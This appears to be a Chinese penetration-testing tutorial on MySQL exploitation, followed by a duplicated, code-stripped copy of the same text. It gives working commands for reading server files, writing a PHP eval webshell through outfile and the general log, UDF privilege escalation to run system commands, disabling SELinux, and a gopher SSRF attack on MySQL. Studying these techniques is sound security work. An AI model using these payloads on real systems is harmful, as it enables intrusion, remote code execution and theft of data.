Mysql利用姿势小结
字数 1690 2025-08-15 21:31:25

MySQL渗透利用技术详解

1. 文件读取技术

1.1 load_file函数

load_file()函数是MySQL中用于读取服务器端文件的函数,在渗透测试中常用于读取配置文件、源码等敏感信息。

使用条件

  • secure_file_priv配置项为空("")或指定了可读目录
  • 系统关闭了SELinux(针对Linux系统)
  • 知道目标文件绝对路径

查看secure_file_priv配置

show variables like "%secure_file_priv%";

示例用法

-- 读取MySQL配置文件
select load_file("/etc/my.cnf");

-- 读取Web源码
select load_file("/var/www/html/index.php");

注意事项

  • CentOS系统中如果开启SELinux,无法读取其他服务配置文件或/etc/passwd
  • 关闭SELinux命令:setenforce 0

1.2 load data infile

load data infile是另一种读取文件的MySQL语句,同样受secure_file_priv限制。

使用步骤

  1. 创建或选择一个数据表用于存放文件内容
  2. 使用load data infile语句读取文件

示例

-- 创建临时表
create table temp(data text);

-- 读取文件内容到表中
load data infile "/etc/passwd" into table temp;

权限要求

  • 需要file、insert和select权限

2. 文件写入技术

2.1 outfile/dumpfile

使用条件

  • secure_file_priv配置项为空或指定了可写目录
  • MySQL对目标目录有写入权限

基本用法

-- 写入简单文本文件
select "123" into outfile "/tmp/123.txt";

-- 写入WebShell(PHP示例)
select "<?php @eval($_GET['x']);?>" into outfile "/var/www/html/test.php";

注意事项

  • MySQL 3.23.55版本后不能覆盖已有文件,只能创建新文件
  • outfiledumpfile区别:
    • outfile写入ASCII格式
    • dumpfile写入二进制格式(适合写入UDF等二进制文件)

2.2 UDF提权

使用条件

  • MySQL插件目录可写(通常为/usr/lib64/mysql/plugin/)
  • secure_file_priv允许写入插件目录
  • 使用正确版本的UDF文件

步骤

  1. 查询MySQL版本:
select @@version;
  1. 获取正确的UDF文件:
  • 避免使用sqlmap的UDF文件(缺少ELF头)
  • 推荐使用Metasploit的UDF文件(路径:/usr/share/metasploit-framework/data/exploits/mysql/)
  1. 写入UDF文件:
-- 使用dumpfile写入二进制文件
select 十六进制内容 into dumpfile "/usr/lib64/mysql/plugin/udf.so";
  1. 创建函数:
create function sys_eval returns string soname "udf.so";
  1. 执行系统命令:
select sys_eval("whoami");

常见问题解决

  • 如果操作卡死,可能需要删除之前创建的函数:
drop function sys_exec;

3. General Log利用

特点

  • 不受secure_file_priv限制
  • 适合在Windows环境下使用(Linux下文件权限可能限制执行)

使用步骤

  1. 查看general log状态:
show variables like "%general%";
  1. 设置日志输出类型为文件:
set global log_output="FILE";
  1. 设置输出文件路径(Windows注意转义):
set global general_log_file="C:\\phpstudy_pro\\WWW\\1.php";
  1. 开启general log:
set global general_log=on;
  1. 执行会被记录为PHP代码的操作:
select '<?php @eval($_GET["cmd"]);?>';

4. SSRF对MySQL的利用

前提条件

  • MySQL服务端必须为空密码
  • 使用TCP/IP套接字连接方式

连接方式说明

  1. Unix套接字:Linux/Unix本地连接方式
  2. 内存共享/命名管道:Windows本地连接方式
  3. TCP/IP套接字:任何系统通用方式

实验步骤

  1. 创建测试用户:
create user 'root'@'%';
grant all privileges on *.* to 'root'@'%';
  1. 抓取TCP连接流量(使用Wireshark)

  2. 分析数据包,提取十六进制值

  3. 构造SSRF Payload(每个字节前加%)

  4. 使用curl测试:

curl "http://target/?url=gopher://127.0.0.1:3306/十六进制payload" --output -

注意事项

  • MySQL 5.7+有密码复杂度策略,难以设置空密码
  • MariaDB默认使用Unix_socket,需修改为mysql_native_password:
update mysql.user set plugin='mysql_native_password' where user='root';
flush privileges;

5. 其他注意事项

  1. Windows与Linux差异

    • Windows下限制较少
    • Linux下受SELinux和目录权限限制更多
  2. SSL加密问题

    • 默认使用SSL加密传输
    • 可强制不使用SSL:
      mysqld --ssl=0
      
  3. MySQL版本兼容性

    • 不同版本可能有不同限制
    • 需确保UDF文件与MySQL版本匹配
  4. 权限最小化原则

    • 文件读取只需要file权限
    • 文件写入需要file和对应目录写权限
    • UDF提权需要plugin目录写权限

通过以上技术,渗透测试人员可以评估MySQL数据库的安全性,发现潜在的安全风险。实际应用中需遵守法律法规,仅在授权范围内使用这些技术。

MySQL渗透利用技术详解 1. 文件读取技术 1.1 load_ file函数 load_file() 函数是MySQL中用于读取服务器端文件的函数,在渗透测试中常用于读取配置文件、源码等敏感信息。 使用条件 : secure_file_priv 配置项为空("")或指定了可读目录 系统关闭了SELinux(针对Linux系统) 知道目标文件绝对路径 查看secure_ file_ priv配置 : 示例用法 : 注意事项 : CentOS系统中如果开启SELinux,无法读取其他服务配置文件或/etc/passwd 关闭SELinux命令: setenforce 0 1.2 load data infile load data infile 是另一种读取文件的MySQL语句,同样受 secure_file_priv 限制。 使用步骤 : 创建或选择一个数据表用于存放文件内容 使用load data infile语句读取文件 示例 : 权限要求 : 需要file、insert和select权限 2. 文件写入技术 2.1 outfile/dumpfile 使用条件 : secure_file_priv 配置项为空或指定了可写目录 MySQL对目标目录有写入权限 基本用法 : 注意事项 : MySQL 3.23.55版本后不能覆盖已有文件,只能创建新文件 outfile 和 dumpfile 区别: outfile 写入ASCII格式 dumpfile 写入二进制格式(适合写入UDF等二进制文件) 2.2 UDF提权 使用条件 : MySQL插件目录可写(通常为/usr/lib64/mysql/plugin/) secure_file_priv 允许写入插件目录 使用正确版本的UDF文件 步骤 : 查询MySQL版本: 获取正确的UDF文件: 避免使用sqlmap的UDF文件(缺少ELF头) 推荐使用Metasploit的UDF文件(路径:/usr/share/metasploit-framework/data/exploits/mysql/) 写入UDF文件: 创建函数: 执行系统命令: 常见问题解决 : 如果操作卡死,可能需要删除之前创建的函数: 3. General Log利用 特点 : 不受 secure_file_priv 限制 适合在Windows环境下使用(Linux下文件权限可能限制执行) 使用步骤 : 查看general log状态: 设置日志输出类型为文件: 设置输出文件路径(Windows注意转义): 开启general log: 执行会被记录为PHP代码的操作: 4. SSRF对MySQL的利用 前提条件 : MySQL服务端必须为空密码 使用TCP/IP套接字连接方式 连接方式说明 : Unix套接字:Linux/Unix本地连接方式 内存共享/命名管道:Windows本地连接方式 TCP/IP套接字:任何系统通用方式 实验步骤 : 创建测试用户: 抓取TCP连接流量(使用Wireshark) 分析数据包,提取十六进制值 构造SSRF Payload(每个字节前加%) 使用curl测试: 注意事项 : MySQL 5.7+有密码复杂度策略,难以设置空密码 MariaDB默认使用Unix_ socket,需修改为mysql_ native_ password: 5. 其他注意事项 Windows与Linux差异 : Windows下限制较少 Linux下受SELinux和目录权限限制更多 SSL加密问题 : 默认使用SSL加密传输 可强制不使用SSL: MySQL版本兼容性 : 不同版本可能有不同限制 需确保UDF文件与MySQL版本匹配 权限最小化原则 : 文件读取只需要file权限 文件写入需要file和对应目录写权限 UDF提权需要plugin目录写权限 通过以上技术,渗透测试人员可以评估MySQL数据库的安全性,发现潜在的安全风险。实际应用中需遵守法律法规,仅在授权范围内使用这些技术。